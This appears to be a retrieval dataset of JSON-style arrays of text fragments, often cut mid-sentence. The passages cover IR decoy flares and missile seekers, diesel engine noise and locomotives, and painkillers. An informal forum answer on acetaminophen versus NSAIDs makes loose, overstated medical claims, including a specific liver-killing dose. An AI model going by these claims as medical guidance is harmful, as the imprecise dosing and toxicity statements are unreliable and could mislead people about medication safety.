spectrum as well. Tripflares Flares connected to tripwires are used to guard an area against infiltration. The flare begins burning when the tripwire is triggered, providing both alarm and illumination. Regulation Under the UN", "off of a cloud or ground object, or any other \"hot\" object within its view.\nMore modern infra-red guided missiles can detect the heat of an aircraft's skin, warmed by the friction of airflow, in addition to the fainter heat signature of the engine when the aircraft is seen from the side or head-on. This, combined with greater maneuverability, gives them an \"all-aspect\" capability, and an attacking aircraft no longer had to be behind its target to fire. Although launching from behind the target increases the probability of a hit, the launching aircraft usually has to be closer to the target", "presence of a \"live\" IR missile is indicated, flares are released by the aircraft in an attempt to decoy the missile; some systems are automatic, while others require manual jettisoning of the flares.\nThe aircraft would then pull away at a sharp angle from the flare (and the terminal trajectory of the missile) and reduce engine power in attempt to cool the thermal signature. Optimally, the missile's seeker head is then confused by this change in temperature and flurry of new signatures, and therefore follows the flare(s) rather than the aircraft. The most modern IR-guided missiles have sophisticated on-board electronics that", "the chance that the seeker will begin to aim at the flare instead. Against early spin-scan seekers this was extremely effective because the signal from the target was minimized through the midcourse, so even a dim signal from the flare would be seen and tracked. Of course if this happens, the flare now disappears from view and the aircraft becomes visible again. However, if the aircraft moves out of the FOV during this time, which happens rapidly, the missile can no longer reacquire the target.\nOne solution to the flare problem is to use a dual-frequency seeker. Early seekers used a", "that ignite when they come in contact with the air. This is a safety and convenience factor, since attempting to ignite a flare inside the fuselage and then deploying it is risky. However pyrotechnic flares (such as the MJU-32) also exist, and offer their own safety benefit; requiring an external ignition method, an accidental leak or puncture in the storage compartment would not result in a catastrophic fire on board the aircraft as with a pyrophoric flare. Deployment Flares are most commonly gravity-fed from a dispenser inside the aircraft's fuselage. These dispensers can be programmed by the pilot", "Jet blast Jet blast is the phenomenon of rapid air movement produced by the jet engines of aircraft, particularly on or before takeoff.\nA large jet-engined aircraft can produce winds of up to 100 knots (190 km/h; 120 mph) as far away as 60 metres (200 ft) behind it at 40% maximum rated power. Jet blast can be a hazard to people or other unsecured objects behind the aircraft, and is capable of flattening buildings and destroying vehicles \nDespite the power and potentially destructive nature of jet blast, there are relatively few jet blast incidents. Due to the invisible nature of jet blast", "minimizing risk to the crew.\nJet engines allowed higher speeds which made \"toss bombing\" possible, a reverse dive bombing method where an aircraft snaps up from low altitude as a bomb is released, throwing it upwards like a shot put.", "Each jet may also activate the shield manually in times of trouble. Weapons Players have a choice between four different standard pick-up weapons:\nVulcan – the player's default weapon which fires straight forward, but can flare out to destroy larger groups of enemies depending on the jet selected.\nBombs – a straight firing, explosive weapon that retains the same firing pattern for all jets, but increases in launch count (number of times it can be fired at once) when upgraded.\nDefender – an explosive cluster-shot weapon that encircles the player's jet and remains the same when upgraded, but increases in count much like", "a jet that is less diffuse.\nA newer main charge liner produces a higher velocity jet. While making the warhead smaller, this change makes it more effective, leaving more room for propellant for the main rocket motor, and thus increasing the missile's range.\nElectronic arming and fusing, called Electronic Safe Arming and Fire (ESAF), is used. The ESAF system enables the firing and arming process to proceed, while imposing a series of safety checks on the missile. ESAF cues the launch motor after the trigger is pulled. When the missile reaches a key acceleration point (indicating that it has cleared the launch", "single detector that was sensitive to very hot portions of the aircraft and to the jet exhaust, making them suitable for tail-chase scenarios. To allow the missile to track from any angle, new detectors were added that were much more sensitive and in other frequencies as well. This presented a way to distinguish flares; the two seekers saw different locations for the target aircraft - the aircraft itself as opposed to its exhaust - but a flare appeared at the same point at both frequencies. These could then be eliminated.\nMore complex systems were used with digital processing, especially crossed-array and", "during its complete flight, the HOT missile had a much shorter flight time than any other wire guided antitank missiles when it was introduced. The booster's four nozzles are located at the roots of the four spring out fins. The sustainer motor's single exhaust is located in the rear of the missile body, where a vane controls the missile through thrust vector control as it rotates in flight.\nAfter the missile is fired, all the gunner has to do is keep the target in the sight's cross hairs, and the system will automatically track the missile's rear-facing flares, gather the missile", "older missile systems designed to be fired at targets overflying the missile site. However, a level pass at the target at low altitude will not only expose the aircraft to short-range defenses surrounding the target, but will place the aircraft in the bomb's blast radius. By executing a \"pop-up\" loft, on the other hand, the pilot releases the munition well outside the target area, out of range of air defenses. After release, the pilot can either dive back to low altitude or maintain the climb, in either case generally executing a sharp turn or \"slice\" away from the target. The", "Hot and high Jet or rocket assisted take off Auxiliary rockets and/or jet engines can help a fully loaded aircraft to take off within the length of the runway. The rockets are usually one-time units that are jettisoned after takeoff. This practice was common in the 1950s and 60s, when the lower levels of thrust from military turbojets was inadequate for takeoff from shorter runways or with very heavy payloads. It is now seldom used.\nAuxiliary jets and rockets have rarely been used on civil aircraft due to the risk of aircraft damage and loss of control if something were to", "then ran into the room and said that there had been an order that was received from the Northeast Air Defense Sector that all available jets must launch. The pilots then ran out to their aircraft with speaker Treacy saying \"Go, go, go!\" In the haste that the morning had become, not all the jets had been refueled and a majority of the jets were still unarmed. The handful of jets that were armed were sent up with one or two missiles. The standard missile load involves at least two missiles at launch. This is after the handlers had worked", "surface-to-air missiles were fired at an airliner while taking off, began equipping its fleet with radar-based, automated flare release countermeasures from June 2004. This caused concerns in some European countries, regarding the possible fire hazard at civilian airports, resulting in banning such aircraft from landing at their airports. In 2007, Saab announced a new infrared countermeasure system called CAMPS that does not use pyrotechnic flares, thereby directly addressing these concerns. IR-decoy flares IR-decoy flares serve to counter infrared-guided surface-to-air missiles (SAM) or air-to-air missiles (AAM) and can be expelled from a craft according to an anticipated threat in defined sequences.", "deflector, the heavy panel is raised into position to redirect the hot jet blast. As soon as the deflector is raised, another aircraft can be brought into position behind it, and flight deck personnel can perform final readiness duties without the danger of hot, violent exhaust gases. Such systems were installed on aircraft carriers in the late 1940s and early 1950s, as jet-powered aircraft began to appear in navies.\nJet blast deflectors aboard aircraft carriers are placed in very close proximity to the 2,300 °F (1,300 °C) temperatures of modern jet fighter exhaust. The non-skid decking surface of the deflector suffers heat damage", "tubes under each wing of some of their twin-engined Me 210 Ca-1 heavy fighters. The rockets were used to break up Allied bomber combat box formations in order to enable more effective German fighter attacks against the scattered Allied aircraft. However, the high drag caused by the launchers reduced the speed and maneuverability of the launching aircraft, a handicap that could prove fatal if Allied fighters were encountered. Also, the launch tube's underwing mounting setup, which usually aimed the projectile at about 15° upwards from level flight to counter the considerable ballistic drop of the projectile in flight after launch,", "launch aircraft. This weapon was designed for use against thinly armored but highly defended targets such as convoy merchantmen or their escorting warships. When launched a small liquid-fueled rocket fired to speed the weapon up and get it out in front of the releasing aircraft, which was flown to approach the target just off to one side. The bomb then dropped close to the water and glided in parallel to the launch aircraft, with the bomb aimer adjusting the flight left or right. As long as the bomb was dropped at roughly the right range so it did not", "track when fired because the target would move out of the FOV in the time while the missile was flying off the mounting rail.\nFaced with these dismal results, the US Navy and then US Air Force introduced new training syllabuses that placed much more emphasis on pre-shot maneuvering, so the launch aircraft would be both behind the target and flying in the same general direction. This would maximize the chance that the target would still be visible to the missile after it was launched. Unfortunately, such maneuvering was both time consuming and potentially difficult to arrange, and in combat there", "was relatively insensitive and required large, hot sources to reliably track a target. In practice, this meant the engine of the enemy aircraft had to remain visible to the missile through the shot. The other was that the seeker had a limited field of view (FOV), meaning it could only see the target if it was in front of the missile.\nThese limitations were made clear during the Vietnam War, when early missiles like the AIM-4 Falcon and AIM-9 Sidewinder had success rates on the order of 9 and 14%, respectively. Much of this was due to the fact that pilots", "of the radiation source.\nThe newest generation of the FIM-92 Stinger uses a dual IR and UV seeker head, which allows for a redundant tracking solution, effectively negating the effectiveness of modern decoy flares (according to the U.S. Department of Defense). While research and development in flare technology has produced an IR signature on the same wavelength as hot engine exhaust, modern flares still produce a notably (and immutably) different UV signature than an aircraft engine burning kerosene jet-fuel. Pyrotechnic flares Pyrotechnic flares use a slow-burning fuel-oxidizer mixture that generates intense heat. Thermite-like mixtures, e.g. Magnesium/Teflon/Viton (MTV), are common. Other combinations", "Flare (countermeasure) Tactics In contrast to radar-guided missiles, IR-guided missiles are very difficult to find as they approach aircraft. They do not emit detectable radar, and they are generally fired from behind, directly toward the engines. In most cases, pilots have to rely on their wingmen to spot the missile's smoke trail and alert them. Since IR-guided missiles have a shorter range than their radar-guided counterparts, good situational awareness of altitude and potential threats continues to be an effective defense. More advanced electro-optical systems can detect missile launches automatically from the distinct thermal emissions of a missile's rocket motor.\nOnce the", "a 27-yard field goal, but it was wide left. \"You could almost feel the steam go out of them\", said Snell.\nThe Jets did not only rely on Snell; Namath said \"if they're going to blitz, then we're going to throw\". Shula said that Namath \"beat our blitz\" with his fast release, which let him quickly dump the football off to a receiver. On the Jets' second possession, Namath threw deep to Maynard, who, despite his pulled hamstring, was open by a step. The ball was overthrown, but this one play helped change the outcome of the game. Fearing the speedy", "in such a tail-chase engagement.\nAn aircraft can defend against infra-red missiles by dropping flares that are hotter than the aircraft, so the missile homes in on the brighter, hotter target. In turn, IR missiles may employ filters to enable it to ignore targets whose temperature is not within a specified range.\nTowed decoys which closely mimic engine heat and infra-red jammers can also be used. Some large aircraft and many combat helicopters make use of so-called \"hot brick\" infra-red jammers, typically mounted near the engines. Current research is developing laser devices which can spoof or destroy the guidance systems of infra-red", "where the risk of being hit was much reduced. While a single fighter's payload of two or four such rockets was extremely unlikely to score a hit, a mass launch by an entire fighter squadron (a Staffel of 12-16 aircraft) as it arrived to intercept the bombers would likely score two or three hits, about 15% accuracy. The rocket's huge blast radius also compensated for inaccuracy, and even a non-lethal hit on a bomber by a showering of shrapnel would have psychological effects and perhaps cause it to take evasive manœuvres that would drive it from the protection of its" ]

[ "One of the unobvious reasons is that most diesels have fixed injection timing. For efficiency, the injection is well before top dead center, which allows the fuel to finish burning when the engine is turning rapidly. When the engine is turning slowly the early ignition makes sharp (high frequency) sounds. You can hear the same thing in a gasoline engine that's overheated and \"dieseling\", when the fuel/air mixture is ignited by overheated cylinder heads rather than waiting for a properly timed spark. \nModern diesel engines with more control over injection timing don't sound as much like old-fashioned diesels." ]

[ "Noise The distinctive noise of a diesel engine is variably called diesel clatter, diesel nailing, or diesel knock. Diesel clatter is caused largely by the way the fuel ignites; the sudden ignition of the diesel fuel when injected into the combustion chamber causes a pressure wave, resulting in an audible ″knock″. Engine designers can reduce diesel clatter through: indirect injection; pilot or pre-injection; injection timing; injection rate; compression ratio; turbo boost; and exhaust gas recirculation (EGR). Common rail diesel injection systems permit multiple injection events as an aid to noise reduction. Therefore, newer diesel engines do not knock anymore. Diesel", "engine increases RPM to around 1400 while parked, to increase the temperature of the exhaust.\nDiesel engines produce a variety of particles during combustion of the fuel/air mix due to incomplete combustion. The composition of the particles varies widely dependent upon engine type, age, and the emissions specification that the engine was designed to meet. Two-stroke diesel engines produce more particulate per unit of power than do four-stroke diesel engines, as they burn the fuel-air mix less completely.\nDiesel particulate matter resulting from the incomplete combustion of diesel fuel produces soot (black carbon) particles. These particles include tiny nanoparticles—smaller than a", "to typical cars; this contrast is particularly strong with heavy-duty trucks. There are several aspects of truck operations that contribute to the overall sound that is emitted. Continuous sounds are those from tires rolling on the roadway, and the constant hum of their diesel engines at highway speeds. Less frequent noises, but perhaps more noticeable, are things like the repeated sharp-pitched whistle of a turbocharger on acceleration, or the abrupt blare of an exhaust brake retarder when traversing a downgrade. There has been noise regulation put in place to help control where and when the use of engine braking retarders", "Rusted out exhaust headers or lengthy periods of turning the starter can cause water to build up in the exhaust line to the point it back-flows through the exhaust manifold and fills the cylinders.\nOn turbocharged engines the intercooler is normally cooled by sea water, if this rusts through, water will be ingested by the engine. Diesel engines Diesel engines are more susceptible to hydrolock than gasoline engines. Due to their higher compression ratios, diesel engines have a much smaller final combustion chamber volume, requiring much less liquid to hydrolock. Diesel engines also tend to have higher torque, rotating inertia, and", "diesel engine-powered pump mounted in a trailer or van, and connected to the driver head via hoses. When the pile driver is connected to a dragline excavator, it is powered by the excavator's diesel engine. Vibratory pile drivers are often chosen to mitigate noise, as when the construction is near residences or office buildings, or when there is insufficient vertical clearance to permit use of a conventional pile hammer (for example when retrofitting additional piles to a bridge column or abutment footing). Hammers are available with several different vibration rates, ranging from 1200 vibrations per minute to 2400 VPM. The", "Diesel locomotive A diesel locomotive is a type of railway locomotive in which the prime mover is a diesel engine. Several types of diesel locomotive have been developed, differing mainly in the means by which mechanical power is conveyed to the driving wheels.\nEarly internal combusition locomotives and railcars used kerosene and gasoline as their fuel. Dr. Rudolf Diesel patented his first compression ignition engine in 1898, and steady improvements in the design of diesel engines reduced their physical size and improved their power-to-weight ratio to a point where one could be mounted in a locomotive. Internal combustion engines only operate", "Octavia vRS.\nThe sound generated by this device has been described as \"a sort of buzzy, fizzy noise\".\nIt has been reported to play a digital recording of engine noise, but Volkswagen claims that these reports are false, and that it reproduces the actual engine noise of the car. Some diesel cars produced by the Volkswagen Group also have an \"exhaust soundaktor\". This system uses additional speakers in the exhaust system of the car to generate \"a low-pitched, roaring sound\" intended to make the car sound less like a diesel and more like a conventional gasoline engine.\nOther vehicle manufacturers have also used", "steam generated from a boiler or diesel to power a piston engine. The Cristiani Compressed Steam System used a diesel engine to power a compressor to drive and recirculate steam produced by a boiler; effectively using steam as the power transmission medium, with the diesel engine being the prime mover\nIn the 1940s, diesel locomotives began to displace steam power on American railroads. Following the end of World War II, diesel power began to appear on railroads in many countries. The significantly better economics of diesel operation triggered a dash to diesel power, a process known as Dieselization. By the late", "engines. All engines have what you might call noise in their output because the combustion is not quite uniform, so you have this fluctuation in thrust of the first stage as a normal characteristic of all engine burning.\nNow, in turn, the engine is fed through a pipe that takes the fuel out of the tanks and feeds it into the engine. That pipe's length is something like an organ pipe so it has a certain resonance frequency of its own and it really turns out that it will oscillate just like an organ pipe does.\nThe structure of the vehicle is", "case of sound levels, engine operation is of greatest impact with respect to mobile sources such as automobiles and trucks. Engine noise is a particularly large component of mobile source noise for vehicles operating at lower speeds, where aerodynamic and tire noise is less significant. Generally speaking, petrol (gasoline) and diesel engines emit less noise than turboshafts of equivalent power output; electric motors very often emit less noise than their fossil fuel-powered equivalents. Thrust-outputting engines, such as turbofans, turbojets and rockets emit the greatest amount of noise because their method of producing thrust is directly related to the production", "used diesel-electric locomotive makes use of a diesel engine prime mover to propel either a generator (DC) or an alternator (AC) to generate electric power, which is then used to propel axle-hung electric traction motors, one per powered axle, to drive the locomotive wheels. It therefore works on the same general principle as a regular electric locomotive, the main difference being that it generates its own electric power instead of collecting it from an external supply such as overhead catenary or a third rail.\nDiesel-hydraulic locomotives, on the other hand, use hydrokinetic transmission, also known as hydrodynamic transmission, in the form", "turbocharger, if fitted. It can be mistaken for lubricating oil in some cases, but it consists of the \"heavy ends\" of the diesel fuel which do not burn when combustion temperature is too low. The heavier, more oily components of diesel fuel contain more stored energy than a comparable quantity of, say, gasoline, but diesel requires an adequate loading of the engine in order to keep combustion temperature high enough to make use of it. Often, one can hear a slight miss in the engine due to fuel buildup. When the engine is first placed under a load after long", "unlike almost all other locomotive transmissions, did not provide any means of matching the torque characteristics of the engine(s) to the requirements of the locomotive; it did not provide for an increased torque output at low speeds for starting and hill climbing. It served only to match the output speed of the engine(s) to the requirements of the locomotive.\nThe requirement for high starting torque was met in the Fell not by the transmission characteristics but by altering the torque characteristics of the engines themselves. Normally a diesel engine aspires charge at a mass flow rate proportional to its rotational speed;", "locomotives use two-stroke diesel engines. Diesel engines have eclipsed steam engines as the prime mover on all non-electrified railroads in the industrialised world. The first diesel locomotives appeared in 1913, and diesel multiple units soon after. Many modern diesel locomotives are actually diesel-electric locomotives: the diesel engine is used to power an electric generator that in turn powers electric traction motors with no mechanical connection between diesel engine and traction. While electric locomotives have replaced the diesel locomotive for some passenger traffic in Europe and Asia, diesel is still today very popular for cargo-hauling freight trains and on tracks where", "Diesel multiple unit Design The diesel engine may be located above the frame in an engine bay or under the floor. Driving controls can be at both ends, on one end, or in a separate car. Types DMUs are usually classified by the method of transmitting motive power to their wheels. Diesel–mechanical In a diesel–mechanical multiple unit (DMMU), the rotating energy of the engine is transmitted via a gearbox and driveshaft directly to the wheels of the train, like a car. The transmissions can be shifted manually by the driver, as in the great majority of first-generation British Rail DMUs,", "Diesel engine required a heavier, more robust construction than a gasoline engine, it saw limited use in aviation. However, the Diesel engine became widespread in many other applications, such as stationary engines, agricultural machines and off-highway machinery in general, submarines, ships, and much later, locomotives, trucks, and in modern automobiles.\nThe Diesel engine has the benefit of running more fuel-efficiently than gasoline engines due to much higher compression ratios and longer duration of combustion, which means the temperature rises more slowly, allowing more heat to be converted to mechanical work. Diesel was interested in using coal dust or vegetable oil", "Switcher Diesel Diesel switchers tend to have a high cab and often lower and/or narrower hoods (bonnets) containing the diesel engines, for all round visibility. Slugs are often used because they allow even greater tractive effort to be applied. Nearly all slugs used for switching are of the low hood, cabless variety. Good visibility in both directions is critical, because a switcher may be running in either direction; turning the locomotive is time-consuming. Some earlier diesel switchers used cow-calf configurations of two powered units in order to provide greater power. Electric The vast majority of modern switchers are diesels, but", "engines and non-aerodynamic cargo that actually vibrate the tracks can cause resounding sounds. Noise caused from directly neighboring railways has the potential to actually lessen value to property because of the inconveniences that railroads provide because of a close proximity. In order to combat unbearable volumes resulting from railways, US diesel locomotives are required to be quieter than 90 decibels at 25 meters away since 1979. This noise, however, has been shown to be harmless to animals, except for horses who will become skittish, that live near it.\nPollution is another direct result of railroads on the environment. Railroads can make", "diesel locomotives, amongst others. The engine is famous for the \"Valenta Scream\" on starting from rest, a distinctive high-pitched whine caused by the engine's turbocharger. In 1977, the Valenta received the Queen's Awards for Enterprise.\nIn 1985, four (43167-43170) were fitted with Mirrlees MB190 engines. Beginning in 1995, a small number were fitted with Paxman VP185 engines, however the majority retained Valentas.\nIn May 2005, First Great Western had Brush Traction fit two with MTU 16V4000 engines. Judged a success, as part of a project to extend the lives of the HSTs, First Great Western decided to repower its entire fleet. GNER,", "drew benefit from new custom-built servicing facilities. The smoke from steam locomotives was also deemed objectionable; the first electric and diesel locomotives were developed in response to smoke abatement requirements, although this did not take into account the high level of less-visible pollution in diesel exhaust smoke, especially when idling. In some countries, however, power for electric locomotives is derived from steam generated in power stations, which are often run by coal. United States The first diesel locomotive appeared on the Central Railroad of New Jersey in 1925 and on the New York Central in 1927. Since then, diesel", "and decompression rattle by making the pistons effectively work in vacuum. In more advanced control systems this FRP valve can be shut by an electronic control unit when it senses runaway scenario. Trucks Diesel fuel is widely used in most types of transportation. Trucks and buses, which were often gasoline-powered in the 1920s through 1950s, are now almost exclusively diesel-powered. The gasoline-powered passenger automobile is the major exception; diesel cars are less numerous worldwide. Railroad Diesel displaced coal and fuel oil for steam-powered vehicles in the latter half of the 20th century, and is now used almost exclusively for the", "steam locomotive is the loss of unburned coal particles from the fuel bed through the exhaust because of the rapid flow of air through the grate.\nThe GPCS relies on the gasification of coal on a low temperature firebed so that the gases are then fully burnt above the firebed. To achieve this, the amount of air being drawn up through the firebed is minimised, while the main sources of air required for combustion is through secondary air inlets located in the firebox sides and through the vertically sliding firedoor. The air inlets contain swirl inducers to spread the incoming air", "locomotives in many countries. They offered greater flexibility and performance than steam locomotives, as well as substantially lower operating and maintenance costs. Diesel–hydraulic transmissions were introduced in the 1950s, but from the 1970s onwards diesel–electric transmission has dominated. Adaptation of the diesel engine for rail use The earliest recorded example of the use of an internal combustion engine in a railway locomotive is the prototype designed by William Dent Priestman, which was examined by William Thomson, 1st Baron Kelvin in 1888 who described it as a \"[Priestman oil engine] mounted upon a truck which is worked on a temporary line", "diesel streamliners took advantage of their fixed-consist construction to employ electrically-powered lighting, air conditioning, and heating. As the cars were not meant to mix with existing passenger stock, compatibility of these systems was not a concern. For example, the Nebraska Zephyr trainset has three diesel generator sets in the first car to power onboard equipment.\nWhen diesel locomotives were introduced to passenger service, they were equipped with steam generators to provide steam for car heating. However, the use of axle generators and batteries persisted for many years. This started to change in the late 1950s, when the Chicago and North", "diesel engines that were available at the time of its release. The valves are set at 46° and are accompanied by pistons with shallow valve pockets – thereby eliminating the need for a shorter connecting rod hence, allowing a suitable compression ratio to be achieved. Long spark plugs are used and positioned concentric to the cylinder. Power output was rated at 157 bhp. The later engine were suffixed C20XELN to indicate 'Low Noise' revisions (smaller cylinder head port, cast pistons, and different crank bearing size) in line with EU regulations\nIn 1988 the C20XE was introduced, and was fitted with a catalyst", "low-powered, low speed shunting (switching) locomotives, lightweight multiple units and self-propelled railcars. The earliest diesel locomotives were diesel-mechanical.\nThe mechanical transmissions used for railroad propulsion are generally more complex and much more robust than standard-road versions. There is usually a fluid coupling interposed between the engine and gearbox, and the gearbox is often of the epicyclic (planetary) type to permit shifting while under load. Various systems have been devised to minimise the break in transmission during gear changing; e.g., the S.S.S. (synchro-self-shifting) gearbox used by Hudswell Clarke. Diesel–mechanical propulsion is limited by the difficulty of building a reasonably sized transmission capable", "steam locomotives. They can safely be operated by one person, making them ideal for switching/shunting duties in yards (although for safety reasons many main-line diesel locomotives continue to have 2-man crews: an engineer and a conductor/switchman) and the operating environment is much more attractive, being quieter, fully weatherproof and without the dirt and heat that is an inevitable part of operating a steam locomotive. Diesel locomotives can be worked in multiple with a single crew controlling multiple locomotives in a single train — something not practical with steam locomotives. This brought greater efficiencies to the operator, as individual locomotives could", "became known as suction gas. With a suction gas engine, the amount of gas produced is therefore partially dependent on the speed and throttle setting of the engine using it. Development Lawson's experimental locomotive was based on the same principle as contemporary Swedish diesel-electric locomotives, except that the diesel engine prime mover would be replaced by a petrol engine running on carbon monoxide producer gas. As with a diesel-electric locomotive, an electric generator and traction motor combination would be used to transfer the engine's power to the wheels.\nThe locomotive was constructed on an old 40 feet (12,192 millimetres) bogie truck", "Diesel automobile racing Diesel automobile racing can refer to any use of diesel as a fuel for racing cars. The diesel-fueled vehicle may be used in direct competition with other vehicles, in a separate Diesel class in the same racing event, or in a diesel-only event.\nDiesel is not normally preferred for speed racing, due to the generally higher weight compared to a petrol-driven vehicle. However, diesel vehicles may in some events be classed independently of other competitors. In motorsports such as off-road trials or truck racing, diesel may be more predominant. In endurance racing, the broad power band, high torque", "Diesel engine runaway Diesel engine runaway is a rare condition affecting diesel engines, in which the engine draws extra fuel from an unintended source and overspeeds at higher and higher RPM and producing up to 10 times the engine's rated output until destroyed by mechanical failure or bearing seizure through lack of lubrication. Causes In a diesel engine, the torque (and the rotational frequency) are controlled by means of quality torque manipulation. This means, that with each intake stroke, the engine sucks in air that is not mixed with fuel. The fuel is injected into the air after it has" ]

[ "This might be a little long, so sorry for the wall of text...\n\n**Tylenol (acetaminophen)**: A mild analgesic (pain reliever) and antipyretic (fever reducer) is in a class all by itself. It is commonly believed that it is a NSAID (non-steroidal anti-inflammatory drug) which it is not. It's exact mechanism of action is not known.\n\nIt's analgesic effects are thought to be better than NSAIDs, however this is largely subjective and is generally believed to be AS effective as NSAIDs. It is extremely hepatotoxic (liver damage) and is the worlds leading cause of liver failure. You can kill your liver with 7gms ingested at once. Avoid with alcohol, liver failure, or other hepatotoxic drugs. \n\n**Advil (Ibuprofen), Aleve (naproxen sodium), and ASA (aspirin)**: I put these together because they are all NSAID's. The mechanism of action is a bit complex, and is something I can elaborate on if requested, but they all work on the same mechanism, but are better or worse at one effect or another. Their main medical benefits are similar to acetaminophen, pain relief and fever reducer. They have less severe side effects, but in extended high dose usages can cause some serious badness. Most people notice stomach pain and worsening of peptic ulcers during chronic use. The mechanism that causes it's beneficial effects also reduces your production of gastric mucosa. It can also make it harder for your body to clot, and thus these drugs are typically not given prior to surgery. In your normal individual, you will see no difference in how you clot. These drugs are cleared by your kidneys and are not hepatotoxic. \n\nThese drugs are very effective anti-inflammatory drugs, and thus are very often used for inflammation related pain, like arthritis. It is believed that the beneficial heart effects of low-dose aspirin every day is associated with its anti-inflammatory effects.\n\nedit: Added some info." ]

[ "acetanilide: acetaminophen. After clinical trials, Bayer Ltd brought acetaminophen to market as Panadol in 1956.\nHowever, Sterling Products did not market Panadol in the United States or other countries where Bayer Aspirin still dominated the aspirin market. Other firms began selling acetaminophen drugs, most significantly, McNeil Laboratories with liquid Tylenol in 1955, and Tylenol pills in 1958. By 1967, Tylenol was available without a prescription. Because it did not cause gastric irritation, acetaminophen rapidly displaced much of aspirin's sales. Another analgesic, anti-inflammatory drug was introduced in 1962: ibuprofen (sold as Brufen in the U.K. and Motrin in the U.S.). By the", "problems in giving acetaminophen (paracetamol) to children. The effectiveness of acetaminophen alone as an antipyretic in children is uncertain, with some evidence showing it is no better than physical methods. Therapies involving alternating doses of acetaminophen and ibuprofen have shown greater antipyretic effect than either drug alone. One meta-analysis indicated that ibuprofen is more effective than acetaminophen in children at similar doses when both are given alone.\nDue to concerns about Reye syndrome, it is recommend that aspirin and combination products containing aspirin not be given to children or teenagers during episodes of fever-causing illnesses. Plants Traditional use of higher plants", "Ibuprofen brand names The analgesic and non-steroidal anti-inflammatory drug (NSAID) ibuprofen is sold under a wide variety of brand names across the world; the most common being its first registered trademark name of Brufen, along with Advil, Motrin, and Nurofen. Variants There are 11 variants of Nurofen, all of which contain ibuprofen as an active ingredient. The ibuprofen is variously formulated as the free acid, or the lysine salt. For oral formulations, i.e., taken by mouth, it is available in the conventional solid round tablet, a torpedo-shaped solid caplet, or may alternatively be in the form of a", "Sufentanil Medical uses The main use of this medication is in operating suites and critical care where pain relief is required for a short period of time. It also offers properties of sedation and this makes it a good analgesic component of anesthetic regimen during an operation.\nBecause of its extremely high potency, it is often used in surgery and post-operative pain management for patients that are heavily opioid dependent/opioid tolerant because of long term opiate use for chronic pain or illicit opiate use. Currently sufentanil is the most potent opioid painkiller available for use in humans. Although more", "Acetaminophen/butalbital Medical uses Acetaminophen/butalbital is indicated for the treatment of tension headaches. It is also commonly prescribed for migraines, although it is not approved by the FDA for this. The usual adult dose is one to two tablets every four hours as needed, not to exceed six tablets in a twenty-four-hour period. Side effects Commonly reported side effects include euphoria, dizziness or lightheadedness, drowsiness or sedation, intoxication, nausea, vomiting, dependence, shortness of breath, and abdominal pain.\nProlonged use can cause rebound headaches.\nRarely, use of barbiturates can lead to Stevens–Johnson syndrome. Overdose Butalbital exerts its toxicity through excessive sedation, resulting in respiratory", "and the Tylenol-with-codeine series, including Tylenol 3 and 1,2, and 4); with aspirin (as co-codaprin); or with ibuprofen (as Nurofen Plus). These combinations provide greater pain relief than either agent alone (drug synergy).\nCodeine is also commonly marketed in products containing codeine with other pain killers or muscle relaxers, as well as codeine mixed with phenacetin (Emprazil with codeine No. 1, 2, 3, 4, and 5), naproxen, indomethacin, diclofenac, and others, as well as more complex mixtures, including such mixtures as aspirin + paracetamol + codeine ± caffeine ± antihistamines and other agents, such as those mentioned above.\nCodeine-only products can be", "Tylenol (brand) Medical uses The active ingredient in Tylenol is paracetamol, a widely used over-the-counter analgesic (pain reliever) and antipyretic (fever reducer). Formulations with additional active ingredients intended to target specific applications are sold under the Tylenol brand. These can include codeine as co-codamol, dextromethorphan, methocarbamol, guaifenesin, pseudoephedrine, caffeine, diphenhydramine, chlorpheniramine and phenylephrine. History The brand was introduced in 1955 by McNeil Laboratories, a family owned pharmaceutical manufacturer. Two brothers took over the company from their father that year, and that year one of them learned about paracetamol, which was not on the US market at that time. To", "Anadin Anadin is a brand of painkiller sold in the UK and Ireland, launched in 1932, originally by American pharmaceutical company Anacin and currently by Pfizer. Criticism Along with other brands, Anadin's paracetamol tablets have been criticised for being overpriced compared to non-branded versions (e.g. 16 Anadin Paracetamol tablets each containing 500 mg of paracetamol cost around £2.09 while non-branded equivalents retail for around £0.35). Over the past five years Anadin sales have dropped significantly with people favouring purchase of non-branded versions and the Nurofen brand of painkillers which has seen increased sales due to marketing.\nAs with many proprietary painkillers, the", "Analgesic Uses Topical nonsteroidal anti-inflammatory drugs provide pain relief in common conditions such as muscle sprains and overuse injuries. Since the side effects are also lesser, topical preparations could be preferred over oral medications in these conditions. Contraindications Each different type of analgesic has its own associated side effects. Classification Analgesics are typically classified based on their mechanism of action. Paracetamol (acetaminophen) Paracetamol, also known as acetaminophen or APAP, is a medication used to treat pain and fever. It is typically used for mild to moderate pain. In combination with opioid pain medication, paracetamol is now used for more severe", "Use of this terminology dates back to at least 1973.\nThe term \"spasmolytic\" is also considered a synonym for antispasmodic. Clinical use Spasmolytics such as carisoprodol, cyclobenzaprine, metaxalone, and methocarbamol are commonly prescribed for low back pain or neck pain, fibromyalgia, tension headaches and myofascial pain syndrome. However, they are not recommended as first-line agents; in acute low back pain, they are not more effective than paracetamol or nonsteroidal anti-inflammatory drugs (NSAIDs), and in fibromyalgia they are not more effective than antidepressants. Nevertheless, some (low-quality) evidence suggests muscle relaxants can add benefit to treatment with NSAIDs. In general, no high-quality evidence", "individuals. However, other interventions include medications classified as non-opioid analgesics, which are useful in post surgical treatment. For example, acetaminophen or ibuprofen can be used as a non-opioid analgesics. Unlike acetaminophen, ibuprofen has anti-inflammatory property which can be useful for pain in inflammatory conditions. Aspirin is not used in pediatric population due to its association with Reye's syndrome. Medication Acute pain, chronic pain, neuropathic pain and recurrent pain in children is most often managed with medication. Most of these medications are analgesics. These include acetaminophen, NSAIDs, local anesthetics, opioids, and medications for neuropathic pain. The most effective approach to pain", "always included in this class of medications. However, acetaminophen may be administered as a single medication or in combination with other analgesics (both NSAIDs and opioids). The alternatively prescribed NSAIDs such as ketoprofen and piroxicam have limited benefit in chronic pain disorders and with long-term use are associated with significant adverse effects. The use of selective NSAIDs designated as selective COX-2 inhibitors have significant cardiovascular and cerebrovascular risks which have limited their utilization. Common NSAIDs include aspirin, ibuprofen, and naproxen. Antidepressants and antiepileptic drugs Some antidepressant and antiepileptic drugs are used in chronic pain management and act primarily within the", "Salbutamol Medical uses Salbutamol is typically used to treat bronchospasm (due to any cause—allergic asthma or exercise-induced), as well as chronic obstructive pulmonary disease. It is also one of the most common medicines used in rescue inhalers (short-term bronchodilators to alleviate asthma attacks).\nAs a β₂ agonist, salbutamol also has use in obstetrics. Intravenous salbutamol can be used as a tocolytic to relax the uterine smooth muscle to delay 